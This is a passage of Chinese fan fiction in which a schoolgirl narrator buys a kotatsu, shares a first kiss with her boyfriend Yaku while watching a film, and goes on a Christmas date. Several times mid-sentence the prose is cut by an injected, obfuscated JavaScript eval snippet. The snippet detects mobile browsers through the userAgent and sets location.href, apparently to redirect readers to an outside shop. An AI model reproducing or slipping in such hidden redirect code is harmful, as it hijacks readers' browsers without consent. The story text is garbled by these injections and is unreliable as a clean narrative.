大家齐齐静了静，随即异口同声地说：“完全没有。” ……真的假的？ 91. 第九十一个小岛 “真的完全没人发现啊？”夜久前辈的声音透过听筒有些诧异地传来。 “嗯……是这样。”我稍默了两秒，一边回答他有些诧异的疑问，一边有点心不在焉地将钥匙拔出锁孔进门。 换上前两天新买的棉拖，我把包放到玄关，便目标明确地走向沙发坐下，视线一转看了看面前的茶几，突发奇想道：“……想买暖桌了。” 往年冬天都是直接开空调的，倒也不冷，也没出什么问题，突然提出只是因为最近突然刷到了好多暖桌的广告来着……稍微有点心动。 “暖桌？”夜久前辈似乎是有些惊讶，“你家里竟然没有吗？” “不考虑电费的话肯定是直接全屋开空调好一点吧。”我倒是知道他的意思，毕竟按理讲的话我这么怕冷的人的确是会一到冬天就全天缩进暖桌里的类型，但我没有电费的苦恼。 “这倒也是。既然这样的话，怎么现在突然想买暖桌了？一般都是因为开空调电费太高才用暖桌的吧，”他有些好奇地问。 “因为没试过一半暖一半冷的感觉？” “这到底是什么奇怪的理由……折磨自己吗？” “因为最近总刷到所以有点想试试啦，前面看了一下价格也不是很贵。” “多少钱啊，太便宜的质量会不太好吧，之前好像有刷到过暖炉烧了的新闻。” “……这么危险吗？”我有点不太确定地回想两秒，不大确定地给他报了个数字。 夜久前辈沉默了一会儿，“……方便问一下你是怎么对比得出的不是很贵的结论吗？”这个价格对于暖桌而言已经是偏贵的那一档了吧？ 我“啊”了声，“相机和吉他啊。” “倒是不要用完全不同的东西来对比价格啊。”他吐槽。 最好的相机和吉他的价格最高可是能到十万日元，完全是暖桌一辈子都达不到的价格。 我莫名心虚了一会儿，“哦。” ……本来想着既然暖桌是家电类的话至少会比相机和吉他贵的，之前换的冰箱就贵很多，突然发现没有相机和吉他贵就下意识先入为主觉得很便宜了。 啊，某种程度上还是第一次买家电啊，之前的冰箱是因为坏掉了被迫换的来着。 “已经决定好要买暖桌了吗？”稍微安静了两秒，夜久前辈这么问我。 “嗯，”我已经顺手点开购物软件了，“反正也没有很贵——对我来说。现在主要是看质量问题。” 我实实在在地把夜久前辈的话听进去了，“万一烧了怎么办？” 对面忽地传来一点有点像是将麦克风捂住了导致的杂音，但我没仔细听，一心琢磨着万一暖桌真烧了的话怎么办。 夜久前辈沉默了一会儿，问我，“需要推荐吗？我家的暖桌质量还挺好的，当时想着会用很久所以专门挑的，用好几年了也没出什么问题。” 我顿时停下准备去搜攻略的动作，“需要！” “行，稍微等一下。” 我还没反应过来要等什么，便忽地听到夜久前辈似乎是转过头，离麦克风远了些所以也跟着小了些的声音，“——妈妈，我们家暖桌是哪个牌子啊？” ……欸？ 那边，来给受伤的大儿子送慰问水果，结果发现他在跟女朋友打电话，又想起儿子说过女朋友比较怕生，所以特意没有发出声音的夜久夫人发出了和我一样的疑问，“欸？” 她一边给儿子递了个疑惑的眼神，一边回想了一下，有点不确定地报了个牌子，“应该是这个，不过时间有点久了，可能需要找一下购买记录。” 耳根在意识到对面有夜久前辈的妈妈的那一刻便不受控制地烧了起来。 我大脑空白两秒，下意识将听筒里传来的那道温柔女声所说的名字打进搜索框，看见第一个弹出来的暖桌商品，小小声问：“……是一个封面是原木色的暖桌吗？” “是哦。”夜久夫人笑吟吟地肯定，随即跟我打了个招呼，“你好啊，小岛。卫辅没跟我们说过你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“…………” 我深吸一口气，低头，将烧得通红的脸颊埋进掌心。 92. 第九十二个小岛 决定战是在周末进行，第二天就是周一，所以虽然说是下周末这样听起来有些远的时间点，但真的经历起来的话，其实并没有这么长来着。 数着日子到了周三，终于等到夜久前辈伤脚差不多能下地之后回来上学，早训时余光瞥见体育馆出现的熟悉声音时，我几乎是立刻注意到了他。 “夜久前辈！”毫不犹豫放下正在叠的毛巾，我脚步轻快地迎上去，眼睛亮亮地看着他，“伤怎么样了？还好吗？” “还好，动作轻点就不会痛。”夜久前辈顺手将两颗糖放到我掌心，“但部活还是得等完全好全，还有一周多呢。” 我低头看了看手里的那两颗青苹果味的硬糖，眨眨眼，刚准备说什么，便听到黑尾前辈远远传来的声音。 “那边的——自由人和经理在体育馆给我保持距离——”他双手拢在嘴边大喊，“夜久——既然好了就给我来参加训练！把前两天漏掉的全部补上！！” 我微微沉默，有点心虚地缩缩脖子，想不起刚刚要说什么便索性直接略过，“那我就先走了夜久前辈，毛巾还没叠完，待会儿再说。” 夜久宽和应下，看着我走远之后转头变脸，“不要自己单身就见不得别人谈恋爱好吗？丑恶的嫉妒嘴脸太明显了！” “你说什么？！” ……又吵起来了。 尽管已经多多少少习惯了他们两个随时随地就开始拌嘴，但时至今日我依旧有点迷惑：……明明两个人分开的时候都蛮正常蛮靠谱的啊，怎么凑在一起就老吵架。 ……相性不合吧，也想不出别的解释了。 这么想着，我抬手跟刚将排球框拖出来的海前辈打了个招呼，便重新回到原位做自己的事情。 # 周末，早上十点，夜久准时出现在了我家门口——和另外一个维修工一起。 就刚前后脚，他进门之后刚准备顺手关门，便忽地感觉到有什么东西抵住了门。 他一惊，刚警惕起来，便听到身后传来一道微妙有些疑惑的声音。 “你好？请问是小岛游小姐的家吗？我是您预约的今天十点到十一点上门安装暖桌的木村。” 我正准备往客厅走，闻言下意识寻声朝外看了眼，稍微有点惊诧地看了眼时间，“现在就来了？” ……现在刚十点过两分钟啊。 看起来还是个大学生的年轻人有些腼腆地笑了下，“因为之后还有单子，所以……” 我了然地“喔”了声，伸手拉了下夜久前辈给他让了条道出来，“请进吧。” 客厅原本的茶几已经被我提前清走了，已经清洁消毒过的暖桌和摊子被子规规整整地放在中心，我跟已经很专业地带上口罩头套手套鞋套还给自己全身喷了酒精喷雾之后才进门的大学生指了下安装要求，便拉着夜久前辈站到旁边。 看着因为工作非常轻松只需要安装而看起来背影分外轻快的年轻人，夜久前辈安静了一会儿，有些担忧地问：“独居的话让维修人员直接上门会不会不太安全？” “啊，”我正点开预约的软件，准备给消毒做得很全面的安装工人点个好评，闻言反应两秒，才慢半拍地转头看了眼夜久，“夜久前辈不是在吗？” “欸？” “我平时不会找人上门的。”我解释，“就算真的有需要也会拜托一下隔壁的松田叔叔帮忙……啊，就是阵平哥的父亲。今天是因为夜久前辈也来了所以才让人来的。” “还专门约了十点到十一点，本来想着应该会在十点半左右到的，没想到来得这么快。”顿了顿，我还是不自觉感慨道。 夜久前辈沉默两秒，随即有些无奈地伸手搓搓我的头发，“倒是别这么信任我啊。” 我完全没躲，只是乖乖任他又转而理了理刚刚吧被他搓乱了的头发，“但夜久前辈很值得信任吧。” “不是吗？”我侧头看他。 我跟他对视两秒，察觉到他微微顿了顿的手，不禁下意识歪了歪头。 半晌，他深深叹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309442|198759||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一口气，恨铁不成钢般伸手掐了掐我的脸颊，想说些什么，最后也只是玩笑般道：“之后小心别被诈骗啊。” 我想了想，朝他竖起一根手指，一本正经道：“没关系，我在警视厅有人脉。” 他看看我竖起的一根手指，“你不是有两个哥哥吗，怎么只有一个人脉。” “哦，”我随口解释，“因为如果他们本职不干这个的话，只有研二哥可以当我的人脉。” 顿了顿，我稍有些惆怅道：“阵平哥跟除了同事以外的人有交集一般是因为他把人家得罪了。” 夜久想到上次见过的那位虽然看着有点凶恶但人其实蛮不错的松田先生，有些迟疑，“……真的假的？” “假的。” “？” “阵平哥倒也不是完全没情商啦，而且还有研二哥在呢……唔。” 佯装什么都没有发生地转移话题时，腮帮突然被微微用力掐住，我看了看正挑眉看向我的夜久前辈，朝他刻意卖乖般地弯了弯含着浓郁笑意的眼睛。 他松手，又无奈而纵容般地戳戳我的额头。 “行了，不闹了。”夜久抬头看了眼已经差不多安装完了的暖桌，又问我，“待会打算干什么？” “啊……”我卡了两秒，想了想，伸手指了指电视机，“想看电影——上次那部卡通电影的第二部，前段时间刚出的。” “欸？什么时候出的，我完全没刷到过啊。” “电视都可以看了啊夜久前辈……蛮长一段时间了。” “嗯……要点外卖吗？看电影的话爆米花是必不可少的吧。” “转移话题得好明显……爆米花能不能让店员多裹一点糖，我想吃焦糖的，但之前买的爆米花裹的糖都好少。” “既然会顺着转移话题的话就不用点破了吧？”他吐槽，“不过爆米花应该可以加钱让店员专门做一下，还有什么要吃的吗？” “多买点零食吧，家里没有。” “行。” 93. 第九十三个小岛 暖桌没预热之前冰得像刚从南极搬出来，我刚尝试着伸进去一只脚，半秒都没呆住地猛收回来，忍不住伸手搓了搓刚刚伸进去的脚。 夜久前辈在旁边笑我，“都说了会很凉啊，你还不信。” 我瞪他一眼，忍不住鼓了鼓脸，没吭声。 虽然今天没有出门的打算，但我还是好好找了衣服，穿了修身的浅灰色长袖薄毛衣和深灰色的短款裙裤（因为觉得光腿缩在暖和的被子里会很舒服），也有穿袜子，但没想到就算穿了也还是这么凉。 ……虽然就保暖效果而言，穿脚脖子都遮不住的短袜跟没穿袜子其实没什么区别就是了。 等暖桌预热好我便迅速钻进去，懒洋洋地背靠着沙发瘫下去。 超——级暖和，只看体感的话感觉比开空调舒服很多，摊子是毛毯，毛茸茸的绒毛蹭在小腿和大腿触到地毯的皮肤上，特别软，上面盖在暖桌上面的被子则是蚕丝被，被套是纯棉的，感觉也很舒服。 莫名被温暖的温度烘出了些微睡意，我忍不住打了个哈欠，按着遥控器调到电影播放的初始页面按下暂停，随即转头看了眼刚听见敲 门声出去拿外卖回来了的夜久前辈。 我朝他招了招手，“这里！马上开始了。” 说着，我还往旁边挪了下，给他空出了一点位置。 他从善如流地过来，我见他来了便按下开始，听着逐渐响起的片头，转头将分装出来的两杯冰可乐率先接过来，摆在桌上。 夜久率先将爆米花拿出来摆到中间，又将几种零食各拿了几个出来，便不再多拿，免得将本来就不是很大的暖桌占满。 ——对，我暖桌没买多大来着。 倒也不是买了只有单人能用的那种，我不太想要正方形的桌子，就买了长方形的，一齐缩在桌子底下的话能坐两个人，但空间肯定不会太宽敞。 不过我其实一直没有一个具体的、清晰的认知来着……直到夜久前辈坐下时，我突然非常鲜明地察觉到了他的存在感。 他身上带着些非常细微的凉意，可能是刚刚出去拿外卖的时候带上来的，但也没到冷的程度，没两分钟便被暖意侵蚀，逐渐到了有点发烫的地步。 ……啊，我又脸红了。 身体僵了两秒，我顿了顿，慢半拍地偏头看过去，望见他正认真看着屏幕的侧脸。 许是停留的时间久了，他注意到我的视线，侧头望过来，刚有些疑惑地想问什么，视线却落在我泛了层细微红晕的脸颊上。 在他开口之前，我便飘忽着将视线挪回来，佯装镇定地强调：“是热的。” 夜久不自觉有点想笑，他也的确笑了下，问我，“那要牵手吗？” 我安静两秒，小声，“牵。” # 十指相扣的感觉和普通的牵手不太一样。 我的体温一向偏冷，衬得牢牢扣住手掌的来自另一个人的体温越发热了，皮肤也跟着泛起细微的烫意。 有一种像拥抱一样的安心感……好喜欢。 轻轻搭在他手背上的指腹不自觉紧了紧，脸颊上的热度经久不下，甚至慢慢蔓延到了耳尖和脖颈上。 我深吸一口气，舔了下有点发干的嘴唇。 ……把暖桌的温度再调低一点吧。 # 电影很有意思，跟第一部的剧情衔接很完美，剧情也很精彩……全程都有点心不在焉是我的问题。 ……非常抱歉，我下次会好好地再看一遍的。 只是…… 耳边萦绕着研磨前辈当初在乘大巴回学校时的车上非常诧异地脱口而出的话，我当初其实没什么感觉，只是后来偶尔想起，却莫名有种……很复杂的感觉。 情侣之间比较亲密的接吻拥抱之类的的确不太会当着其他人面做，研磨前辈好像就理所当然地觉得我们只是在学校相处没什么区别的样子……但我们私下里其实也没怎么牵手拥抱接吻、来着。 牵手不经常，拥抱不经常，接吻更是从来没有过……说实话，我已经逐渐费解于我当时“没有更进一步会感到安心”的想法了。 ……有点，想要更进一步。 这么想着，我微微转头，望向夜久前辈。 他正咬着吸管看着电视屏幕，显得有些聚精会神的样子，我也跟着看了眼屏幕，发现剧情已经进展到我看不懂的地方了。 微微沉默两秒，我随即握着夜久前辈的手往我的方向扯了扯，把他的注意扯过来。 “夜久前辈。”我小声叫他。 “嗯？”他条件反射地应道，随即下意识侧头转来看我一眼，看起来还是一副沉浸在电影中的样子，没两秒，见我没反应便准备重新转回去看电影的样子。 我盯他两秒，再次在心中真心实意地给电影道了个歉，随即又将他往外这拉了拉，再次叫了他一声。 “夜久前辈。” “嗯？怎么了？” 他总算回过神侧头看过来，眉眼有些茫然， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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望见他通红的耳尖和泛起红意的面颊时，我忽地有些怔忪。 还没反应过来，下一秒，唇边传来柔软的、温热的、湿润的触感。 ……啊。 意识恍惚间，我听见他有些模糊的声音。 “……记得跟电影道歉啊，小岛。” 我正微微抬头伸手揪着他衣领，有点喘不上气，闻言微微睁大了眼，下意识张了张嘴，想要说什么，便又被重新堵了回去。 “……唔。” 倒是、倒是让我把话说完……！ ………… …… ……说好的冰可乐，呢。 94. 第九十四个小岛 我、最开始……想要的是这样的更进一步吗？ ……是吧。 # 发烫的脸颊被他带着些微凉意的手掌捧住，一只手被他按在身侧，另一只手则下意识想要扶稳身体般揪住他的衣领，我近乎是条件反射地微微仰起脸，微微启唇，毫无抵抗地任他采撷。 抗拒什么的……怎么可能啊。 交缠的、缱绻的呼吸是热的，连带着意识也被温暖的气息泡得昏沉。 原本规律正常的呼吸被另一个人强势地、温柔地扰乱，濒临缺氧的感觉冒上来时，又会被放开，得个空档喘两口气，但还没喘匀就又会被重新吻住……再是一个新的循环。 分不出任何精力去想别的事情，我全心全意地沉在他的吻中。 落在唇上的触感大多是软的，但偶尔又会感受到下唇被轻咬了下的感觉，不大规律，但……总有种、不太真实的感觉。 ……好熟稔的样子。 明明最开始他也是生涩的，唇线紧闭，只是小心翼翼地微微低头碰上嘴唇，但和我亲两下就完全意识混乱起来不大一样，没几个呼吸他便像悟到什么般熟稔起来。 ……察觉到我下意识的、某种程度上像是邀请的微微启唇的动作时，我感觉他似乎只是稍顿了两秒，便转而扣住我后颈，顺势将原本仅是嘴唇相贴的亲吻转向真真切切的、唇齿相依的接吻。 有点突然，但……完全不讨厌。 大脑空白、思绪也昏昏沉沉地溺在他的吻里时，心脏也跟着微微颤栗起来。 好喜欢……好喜欢好喜欢好喜欢好喜欢好喜欢好喜欢好喜欢 “……夜久前辈。”松开换气的空档，我微微用力将他往我的方向扯了一下，低低地这么道，“……我好喜欢你。” 于是，停顿良久后才落下来的吻这次只轻轻地碰了碰嘴角。 “……怎么总被你先说啊，小岛。”他气息同样有些不稳……啊，当然……这个“有些”不是跟我比的。 “我喜欢你。”他堪称是珍重地这么轻声念着，“……我喜欢你。” ………… …… 倒是……倒是不要每亲一下都说一遍啊…… # 亲完的时候电影已经进入到片尾谢幕的阶段，我下意识盯着屏幕看了两秒，条件反射算了算时间，得出结论时不禁一顿，不自觉有点羞耻地伸手捂住热度丝毫未有消退迹象的脸颊。 怎么过了这么长时间……明明感觉没过多久啊。 下意识用余光看了眼夜久前辈，视线不自觉在他泛起浓郁红色的嘴唇上停了两秒，又转而划过他同样泛着红的脸颊。 ……因为这样亲密的亲吻脸红的，从来不只有我啊。 不自觉的，我情不自禁地有些欣喜地弯起眼睛，半晌，弯了弯指尖，勾了下他的掌心。 他近乎是立刻转过头看过来，有些担忧地问：“怎么了？疼吗？” 闻言，我仔细感受两秒，摇了摇头，“感觉稍微有一点点麻，不过不疼……为什么这么说。” “……啊。”他顿了顿，似是有点心虚地飘了飘视线，两秒后又转回来，下意识般地伸手，先托住我的下巴，随即大拇指抵着我的下唇不自觉摩挲了下。 他有点不自在的样子，“……这里，有点肿了。” “……”半晌，我冒出一个有点茫然的单音来，“……啊？” “……接吻嘴还会肿吗？”我有点懵地这么问。 他跟我面面相觑两秒，也有点不太确定地“啊？”了声。 我安静两秒，默默把手机从旁边的沙发上摸过来，黑屏借着反光看了眼……好像是有一点肿了的样子。 夜久前辈在旁边紧急搜了一下，又盯着手机上的页面看了两秒，半晌没说话，我便也有些疑惑地偏头过去看了眼，也跟着沉默了。 “……反正总归不是什么大问题，别看这个了。”我只觉脸颊又不受控制地胀红起来，热意翻涌上来，我下意识伸手按灭他手机，不自觉抿了下嘴唇。 接吻时嘴唇反复摩擦或受压，可能会导致局部毛细血管扩张组织液渗出，引发暂时性肿胀……什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309444|198759||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么“简单来讲就是亲太激烈了”之类的…… ……明明很温柔、来着。 不自觉地，我伸手，轻轻碰了碰不知为何的确有了些肿胀感的嘴唇。 # 虽然为了看电影买了不少零食，但鉴于我们两个一个专注剧情一个全程神游，基本没吃多少，所以午餐还是正常点了外卖——虽然被夜久前辈很不解地问了点外卖到底哪里正常了。 “食材用完了啊，”我嘀嘀咕咕，“穿的是短裙也不想出门……这次就点外卖嘛。” 夜久前辈看我两秒，有点无奈地妥协，“行行……想吃什么？” 我想了想，“嗯……猪排咖喱。” “行，要加芝士吗？” “不加，好腻。” “欸？上次吃可丽饼不是很喜欢抹茶芝士口味的吗？” “唔……放进咸口的菜里会腻，甜品还好。” “这样……行。” “还有二十多分钟，等会儿吧。”他放下手机，伸手拿起遥控器，开始往前调进度，“嗯……先把之前的看完？” “……”我视线移了移，“我……我前面也没仔细看、来着。” “？”夜久有些震惊地看我一眼，“你自己提出的要看这部电影，结果自己没仔细看？” “嗯……嗯。” “……从哪开始没看的？”他这么问我，原本已经停下的调进度的动作又继续了。 我见他似乎打算从我没仔细看的地方开始看的样子，不禁微微沉默了两秒。 “呃……全部？”我小心地这么道。 下一秒，我对上他幽幽盯过来的眼睛。 “你自己想了一个半小时，”夜久前辈有点费解地问我，“就只是想亲一下就跑？” 我有点心虚地朝他扯了下唇角，又凑上前亲了一下他的嘴唇，随即竖起两根手指，“这次只想了两秒。” 我对上他的视线，半晌忽地见他有些想笑地扯了下唇角，随即探身过来。 “……欸？” “扯平了。” 95. 第九十五个小岛 十月中的春高决定战时气温还普普通通平平常常，结果没过两周温度就急转直下，冷了不止一点……完全、完全不想出门。 冷风本来就直直地往骨头缝里钻，日本高中还强制穿制服裙，底下又不让穿打底裤之类的保暖衣服，总觉得出门大概率会冷死在学校。 ……不过也没办法就是了，只能在其他地方多穿一点看看能不能弥补一下。 我于是默默换了保暖的内里加绒的靴子，又在校服里套了件保暖内搭，再穿上毛衣夹克衫，最后再套上大衣和围巾。 ——也还是很冷、非常冷、特别冷。 就算穿了很多衣服也还是感觉不到一丁点儿的暖意，本来就偏低些的体温更凉了点，手脚全是冰凉的。 触到我凉得像刚握过冰块的手指，夜久前辈被冰得吓了一跳，本来还以为我只是单纯手指被风吹得很冷，直到向上探了探，又摸到我同样冰凉的掌心时才意识到也许并不是风的原因。 “手怎么这么冰？”他下意识用掌心握了握我的手，有点担忧地这么问。 我对自己的手凉已经习以为常了，但忽地被还带着暖意的手掌握住，还是情不自禁地往他那里靠了靠——夜久前辈看起来对这个温度完全没有任何不适应的样子，不光没感觉有多冷，手还是暖的。 ……这就是打排球的人吗。 我稍微有点羡慕，一边伸手试图往他袖子里钻、看看他是不是不止手是热的，一边老老实实地回答他的问题，“因为天冷。” “之前几年都是这样的，本来体温就低一点，一冷下来就更严重了。”一边说着，我一边下意识动了动手掌——很好，完全僵掉了。 再冻严重一点就会红、然后再肿，也可能会把皮肤冻裂什么的……所以我才讨厌冬天啊，虽然也不是完全因为这点才讨厌的。 真要说的话其实原因很多……最主要的还是因为我怕冷。 冬天实在太冷了，偶尔下雪的时候更是冷得我总有种马上要冻死的绝望感，相比之下，我宁愿永远呆在夏天，就算被热死也好。 “怎么不戴手套？”他捂了捂我的手，发现半晌都还是冰凉的，不禁有点苦恼地纠结两秒，先伸手，帮我理了理有点松散了的围巾，“应该能稍微暖和一点吧？” “……因为还是有点抵不上实用性吧。”我叹了口气，“戴着太不方便了，写字什么的都很麻烦，加上也还没冷到那个程度……就没戴了。” 我松开夜久前辈的手，默默拢了拢袖子，用保暖的大衣袖子将手掌整个罩住，再抬手给他看，“这样也可以防防风，跟手套也没什么差别……等再过一段时间、手会被冻得僵到写不了字再戴吧。” “倒是对自己好一点。不过，”他顿了顿，有点诧异地问我，“现在还没到最难忍受的程度吗？” 虽然现在的确还没到最冷的时间，但身体对冷空气做出的反应到了一定程度后不都大差不差吗？之后难道还会更严重一点？ 闻言，我回想了一下，“还没生冻疮呢，还得再过一段时间。” “大概到有雪的时候吧，下雪的时候气温会骤降一大截……还是希望今年可以不下雪。”我双手合十，真心实意地祈祷。 旁边，耳尖听到我最后一句话但完全没听全的灰羽“欸？”了一声，“今年不下雪吗？那我岂不是不用帮我姐姐拿反光板了，她一直说雪天出片所以很期待今年的初雪来着。” “没有说今年不下雪……只是我个人不太想下雪而已。”我吸了吸鼻子，带着点鼻音地回他。 此时正值中午，排球部的活动室不知道为什么突然聚了好多人，放眼望去，至少春高决定战去了的人全都到了——很难得，平时一般都是我、夜久前辈、研磨前辈和黑尾前辈的。 我和夜久前辈是习惯了，研磨前辈是不想在班里跟其他人相处就跑来了除了排球部的人之外不会有人来的活动室，黑尾前辈则是知道研磨前辈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309445|198759||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也来这之后也跟着一块来了。 除此之外，海前辈和福永前辈也经常会过来，其他的灰羽犬冈他们倒是难得。 这么想着，我又转头扫了一眼，却恰好看见研磨前辈正有点一言难尽地看着灰羽还没来得及收回的视线。 研磨抽空稍微有点费解地抬头看了眼灰羽，多少有点震撼于这家伙竟然能没眼力见到这个程度。 他一转眼对上我的视线，不自觉顿了顿，随即沉思两秒，假装无事发生地重新低下头。 然后被黑尾顺手抽走了游戏机，“研磨你待会再玩，别一点饭也不吃，下午还有训练。” 研磨：“……” 他深深地叹了一口气。 ……唉。 # 我正在给其他知道我怕冷但不知道我怕冷到什么程度又很好奇的人建立一个清晰的认知。 具体方式是挨个握一下手，然后看着他们被冰的一哆嗦猛地抽掉自己的手，再以一种震惊中夹杂着敬佩的眼神看着我。 灰羽甩了甩手，非常震撼地问：“小游，你之前冬天是怎么活下来的？” 我随口道：“直接请长假呆在空调房里，然后跟老师说我冬眠去了。” 很明显的玩笑，我没怎么放心上，但下一秒，却忽地听到灰羽有些震惊的声音。 “真的假的？老师给你过了？” 我有点迷茫地看他一眼，“……当然是假的啊，我用这个理由去请假老师能给过才奇怪吧。” “冬天倒也没有冷到真的能冻死人的程度，正常上学放学，着凉感冒发烧了就请假，回家多呆几天再去学校。” “反正可以保证成绩的话，老师其实不太会扣我的假。”而且不过也关系不大，不在意被记旷课的话，我直接呆在家里不去学校老师也没法强逼着我去。 不过之后得多注意一下保暖了，总不能总把自己的工作给其他人做吧。 我这么想着。 96. 第九十六个小岛 时间在我反复感冒中过去……虽然这么说很奇怪但的确是事实，长期保持在一个不太严重的感冒程度，偶尔再加重一点，不过倒是都不太严重就是了，没到发烧的程度。 时间进入到十二月，圣诞节越来越近，街上有关于圣诞的元素也越来越多，圣诞圈和红白拐杖糖装饰挂在店门口，有些店铺还推出了一些圣诞限定的东西。 我对这些限定的东西不感兴趣，一个没买，但收到了夜久前辈送给我的帽子，圣诞元素的。 这个帽子兼具帽子围巾手套三个功能于一身，是麋鹿主题的，软软的毛茸茸的深棕色麋鹿角摇摇晃晃地被缝在帽子顶，平时会垂下去，但拿着两边长长的围巾往下拉系紧时就会立在头上，很可爱。 手套则是垂在围巾尾部，缝了一个大长方形上去当可以放手进去的手套，是很常见的款式，但我很喜欢。 不过这样的款式只有帽子和围巾的部分说得上保暖，但手套就是很彻底的没什么温度，把手伸进去揣半天也捂不热，不过放两片暖宝宝就能解决了，所以我每天都有戴夜久前辈送我的围巾。 总之，日子就在这样的情况下普普通通地过去了，直至来到圣诞。 圣诞节当天是工作日，还要上学，部活也还在继续，甚至因为离春高只差两周而更加热火朝天了些。 但今天毕竟是圣诞，就算春高将临，部活也依旧在教练的体贴下提前结束了，说是让我们好好体验一下圣诞节，跟家人或者恋人多待一会儿——指代性特别明显，毕竟整个排球部有恋人的只有猫又教练、夜久前辈和我。 ——不过还是意外之喜。 鉴于剩下的时间的确蛮长，我跟夜久前辈对了一下，彼此确定了一下回家跟家人吃圣诞大餐的时间（夜久前辈是和他爸爸妈妈还有弟弟，我则是专门调假回来准备带我一块去外面吃饭的阵平哥和研二哥），就准备趁着这多出来的两个半小时出去约会。 暂时还没考虑好出去干什么，但不管去干什么，我要做的第一件事情都是先回家换衣服。 校服全部换成保暖的衣服，再套上羽绒服和帽子围巾，估摸着这样出去应该不会太冷，我便脚步轻快地下楼，轻装上阵只带了手机，凑到夜久前辈跟前。 “走吧，”我伸手搭上他朝我伸来的手掌，再握紧，上前一步和他贴了一下，“待会儿去哪？” 我是那种很宅的类型，除非必要平时绝对不会出门的那种，也没有什么想要出去玩的欲望，所以约会的话一般都是一起在家里窝着，干什么都行，出门的话则放弃思考全权交给夜久前辈来安排。 除非是我主动提出的想去什么地方玩之类的……不过这样的情况很少，没记错只有一次是我想去尝尝总刷到的网红店，不过最后踩雷了，不好吃。 他正顺手帮我理了一下匆忙之下有些凌乱的领口，闻言想了想，”今天电影院人肯定很多，这个选项就先pass，你上次提过的那部就下次再看吧。至于这次……要不要去商场逛？有空调不会冷，节日氛围也很浓厚，就算不买也可以多逛逛。” “也是体验圣诞的很关键的一环。”他竖起一根手指，一本正经地说。 “好呀。”我欣然应下，随即想了想，道，“那我应该没带够钱，等我一下。” 夜久前辈下意识伸手拦住我，“……倒也不至于，圣诞相关的东西之后又没用了，买太多放在家里也浪费。” 毕竟因为资金充足的原因，我买东西一向直凭自己高兴，逛街的时候几乎每次都能碰上些自己喜欢的华而不实的小东西然后全部买走，然后最后回家的时候又开始后悔于自己买了这么多东西，拿回家不光可能放不下，还有一定可能就完全没地方放。 他之后就习惯性会拦一下了，至少他的话可以让我摆脱掉上头的状态，认真思考一下自己到底是不是真的想要，然后再决定要不要买。 效果显著。 他于是熟门熟路地推着我出门，“好啦，直接走吧， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309446|198759||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过去要十五分钟多呢，我们还得提前半个小时回来。” “欸？好吧。” # 商场离我家不远，我跟夜久前辈走了十七八分钟就到了，也正如夜久前辈所说，商场的节日氛围浓厚得惊人，放眼望去，倒真的像在举行什么圣诞聚会之类的东西。 红红绿绿的彩带挂在路灯上、墙壁上、店门上，缀在其中的金色铃铛被风吹过时便发出纤细的叮铃铃的响声，我抬头望着商场中间那块空地广场上伫立着的挂了种种装饰的圣诞树，不自觉微微睁大了眼睛。 彩铃、风铃、彩带、彩球，五颜六色地坠在树梢上，最上方的金色星星是最大的装饰，正稳稳地被扣在最尖的部位，看起来分外童话。 夜久前辈注意到我的视线，想了想，晃了晃我们相握着的手，把我的注意力吸引过来，“感兴趣？” 我跟着他的动作顺势晃了晃手，“稍微有一点点。夜久前辈，它最后的样子就是这样的吗？” 夜久琢磨了一下我的意思，“最后的样子？” 